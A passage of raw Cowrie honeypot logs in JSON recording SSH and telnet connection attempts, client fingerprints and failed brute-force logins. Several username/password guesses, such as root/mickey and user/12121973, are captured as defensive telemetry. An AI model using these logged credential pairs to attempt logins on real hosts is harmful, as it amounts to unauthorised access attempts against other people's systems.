ssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:36.084783Z","src_ip":"193.32.162.145","session":"cfa888584db2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54068,"dst_ip":"10.17.0.5","dst_port":23,"session":"aeb7b1eb4d3d","protocol":"telnet","message":"New connection: 192.119.13.58:54068 (10.17.0.5:23) [session: aeb7b1eb4d3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:36.256345Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.100.175","src_port":52398,"dst_ip":"159.203.135.109","dst_port":22,"session":"e631e5eb6c9e","protocol":"ssh","message":"New connection: 43.134.100.175:52398 (159.203.135.109:22) [session: e631e5eb6c9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:36.332849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:36.337967Z","src_ip":"43.134.100.175","session":"e631e5eb6c9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"serum","message":"login attempt [ubuntu/serum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:36.393599Z","src_ip":"193.32.162.145","session":"cfa888584db2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:36.587989Z","src_ip":"43.134.100.175","session":"e631e5eb6c9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:37.501240Z","src_ip":"193.32.162.145","session":"cfa888584db2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mickey","message":"login attempt [root/mickey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:37.602896Z","src_ip":"43.134.100.175","session":"e631e5eb6c9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33480,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe7f1e8464e5","protocol":"telnet","message":"New connection: 192.119.13.58:33480 (10.17.0.5:23) [session: fe7f1e8464e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:38.161279Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:38.852034Z","src_ip":"43.134.100.175","session":"e631e5eb6c9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44490,"dst_ip":"10.17.0.5","dst_port":23,"session":"81203114307f","protocol":"telnet","message":"New connection: 192.119.13.58:44490 (10.17.0.5:23) [session: 81203114307f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:40.985551Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47434,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1f59cffa0c7","protocol":"telnet","message":"New connection: 192.119.13.58:47434 (10.17.0.5:23) [session: e1f59cffa0c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:41.666206Z"}
{"eventid":"cowrie.session.closed","duration":0.006063222885131836,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:41.671978Z","src_ip":"192.119.13.58","session":"e1f59cffa0c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.23616337776184,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:46.387082Z","src_ip":"192.119.13.58","session":"333e32c003ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.82516932487488,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:47.848196Z","src_ip":"192.119.13.58","session":"52dce89a623e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44588,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f8992833277","protocol":"telnet","message":"New connection: 192.119.13.58:44588 (10.17.0.5:23) [session: 9f8992833277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:47.975111Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47156,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5257c56d4c0","protocol":"telnet","message":"New connection: 192.119.13.58:47156 (10.17.0.5:23) [session: c5257c56d4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:48.621502Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":42642,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc093aad16ee","protocol":"ssh","message":"New connection: 175.118.127.138:42642 (10.17.0.5:22) [session: bc093aad16ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:49.215541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:49.221480Z","src_ip":"175.118.127.138","session":"bc093aad16ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:49.401519Z","src_ip":"175.118.127.138","session":"bc093aad16ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"pass","message":"login attempt [dspace/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:50.150829Z","src_ip":"175.118.127.138","session":"bc093aad16ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57116,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed31bc6094bf","protocol":"telnet","message":"New connection: 192.119.13.58:57116 (10.17.0.5:23) [session: ed31bc6094bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:50.956969Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:51.332593Z","src_ip":"175.118.127.138","session":"bc093aad16ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.874006032943726,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:51.337198Z","src_ip":"192.119.13.58","session":"2e104728ca81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38282,"dst_ip":"10.17.0.5","dst_port":23,"session":"29c9e26879ee","protocol":"telnet","message":"New connection: 192.119.13.58:38282 (10.17.0.5:23) [session: 29c9e26879ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:52.967399Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44594,"dst_ip":"10.17.0.5","dst_port":23,"session":"35f3760a6ddb","protocol":"telnet","message":"New connection: 192.119.13.58:44594 (10.17.0.5:23) [session: 35f3760a6ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:54.328369Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.249","src_port":36578,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7ca34b3fbfc","protocol":"ssh","message":"New connection: 165.154.5.249:36578 (159.203.135.109:22) [session: d7ca34b3fbfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:54.370988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:54.376400Z","src_ip":"165.154.5.249","session":"d7ca34b3fbfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:54.594979Z","src_ip":"165.154.5.249","session":"d7ca34b3fbfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5421","message":"login attempt [root/5421] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:55.501065Z","src_ip":"165.154.5.249","session":"d7ca34b3fbfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:37:56.723619Z","src_ip":"165.154.5.249","session":"d7ca34b3fbfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.47088551521301,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:02.974321Z","src_ip":"192.119.13.58","session":"a86c875c24a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.835537672042847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:08.091782Z","src_ip":"192.119.13.58","session":"aeb7b1eb4d3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":13830,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd4022362d8c","protocol":"ssh","message":"New connection: 2.57.121.25:13830 (10.17.0.5:22) [session: fd4022362d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:09.319746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:09.325117Z","src_ip":"2.57.121.25","session":"fd4022362d8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:09.430312Z","src_ip":"2.57.121.25","session":"fd4022362d8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.25.130","src_port":43902,"dst_ip":"159.203.135.109","dst_port":22,"session":"a517af1e3147","protocol":"ssh","message":"New connection: 150.109.25.130:43902 (159.203.135.109:22) [session: a517af1e3147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:09.855233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:09.859815Z","src_ip":"150.109.25.130","session":"a517af1e3147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"121234","message":"login attempt [user/121234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:09.927167Z","src_ip":"2.57.121.25","session":"fd4022362d8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:10.098457Z","src_ip":"150.109.25.130","session":"a517af1e3147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.121.249","src_port":54900,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e7304a57820","protocol":"ssh","message":"New connection: 43.163.121.249:54900 (159.203.135.109:22) [session: 2e7304a57820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:10.233754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:10.239013Z","src_ip":"43.163.121.249","session":"2e7304a57820","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:10.476695Z","src_ip":"43.163.121.249","session":"2e7304a57820","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12121973","message":"login attempt [user/12121973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:11.035424Z","src_ip":"2.57.121.25","session":"fd4022362d8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0okm1qaz","message":"login attempt [root/0okm1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:11.085498Z","src_ip":"150.109.25.130","session":"a517af1e3147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5421","message":"login attempt [root/5421] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:11.461064Z","src_ip":"43.163.121.249","session":"2e7304a57820","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12121970","message":"login attempt [user/12121970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:12.143234Z","src_ip":"2.57.121.25","session":"fd4022362d8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:12.330912Z","src_ip":"150.109.25.130","session":"a517af1e3147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:12.702595Z","src_ip":"43.163.121.249","session":"2e7304a57820","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12101975","message":"login attempt [user/12101975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:13.251726Z","src_ip":"2.57.121.25","session":"fd4022362d8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120988","message":"login attempt [user/120988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:14.361631Z","src_ip":"2.57.121.25","session":"fd4022362d8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47754,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ac904e73df0","protocol":"telnet","message":"New connection: 192.119.13.58:47754 (10.17.0.5:23) [session: 3ac904e73df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:15.241773Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:15.471643Z","src_ip":"2.57.121.25","session":"fd4022362d8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.29002022743225,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:16.471996Z","src_ip":"192.119.13.58","session":"abe43ea39e15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.25212097167969,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:17.446400Z","src_ip":"192.119.13.58","session":"ebfeefa3279d","protocol":"telnet"}
